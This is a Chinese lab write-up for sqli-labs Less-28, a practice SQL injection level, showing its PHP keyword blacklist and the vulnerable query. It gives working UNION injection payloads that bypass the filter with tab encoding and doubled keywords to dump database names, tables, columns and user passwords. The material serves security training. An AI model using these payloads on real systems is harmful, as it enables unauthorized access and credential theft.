sqli-labs-Less-28

SQLI-LAPS 实验记录

Less-28

这一关给出的提示信息显示对'UNION'以及'SELECT'字符串进行了过滤,通过查看源码,我们发现,与之前过滤该字符串不同,本关对大小写同时进行了过滤,所以不能应用大小写的方式来应对这一关,但过滤的语句只执行一次,因此,我们可以使用双写方式进行应对。

php 复制代码
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);				//strip out /*
$id= preg_replace('/[--]/',"", $id);				//Strip out --.
$id= preg_replace('/[#]/',"", $id);					//Strip out #.
$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
//$id= preg_replace('/select/m',"", $id);	   		 	//Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id);	    //Strip out UNION & SELECT.
return $id;
}
php 复制代码
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

根据之前我们的注入经验,并结合源码中的sql查询语句,按照提示信息,输入Payload如下:

php 复制代码
0')%09union%09union%09selectselect%091,2,3%09and%09('1')=('1

结果如图所示,可以看到页面成功返回信息,我们就可以在回显位进行修改,以查找对应的数据库名、表名、列名及其他数据。

后续查找数据库表名、列名及其他数据的Payload分别如下:

  • 查找数据库名:

    php 复制代码
    0')%09union%09union%09selectselect%091,database(),3%09and%09('1')=('1
  • 查找表名:

    php 复制代码
    0')%09union%09union%09selectselect%091,(select%09group_concat(table_name)%09from%09information_schema.tables%09where%09table_schema='security'),3%09and%09('1')=('1
  • 查找列名:

    php 复制代码
    0')%09union%09union%09selectselect%091,(select%09group_concat(column_name)%09from%09information_schema.columns%09where%09table_schema='security'%09and%09table_name='users'),3%09and%09('1')=('1

    查找其他数据:

    php 复制代码
    0')%09union%09union%09selectselect%091,(select%09concat(username,':',password)%09from%09security.users%09where%09(id=1)),3%09and%09('1')=('1

    这里如果想要查询其他的用户名与密码,可以修改where语句当中的id值,即id=2,3,4......

相关推荐
dFObBIMmai15 小时前
CSS如何检测页面浮动元素位置_使用审查工具与clear
jvm·数据库·python
qq_4609784016 小时前
实现 Svelte 中基于数组索引的 details 元素单开单关交互
jvm·数据库·python
这个DBA有点耶16 小时前
3步抓出慢SQL,别等半夜被叫醒😴
数据库·代码规范
dfdfadffa16 小时前
SQL窗口函数如何优化嵌套子查询_提升执行效率
jvm·数据库·python
m0_5887584816 小时前
如何查看集群版本_crsctl query crs activeversion当前版本
jvm·数据库·python
摇滚侠17 小时前
Oracle19c 导出 Oracle11g 导入,Oracle19c 导出导入,Oracle11g 导出导入
java·数据库·oracle
zh15702317 小时前
CSS如何让元素出现时带抖动_利用关键帧定义抖动动画
jvm·数据库·python
枷锁—sha17 小时前
【CTFshow-pwn系列】03_栈溢出【pwn 073】详解:静态编译下的自动化 ROP 链构建
网络·汇编·笔记·安全·网络安全·自动化
薛定谔的悦17 小时前
共享数据总线(DPR)设计模式——嵌入式系统的“内存数据库”
jvm·数据库·设计模式
程序猿online17 小时前
本地mysql密码重置
数据库·mysql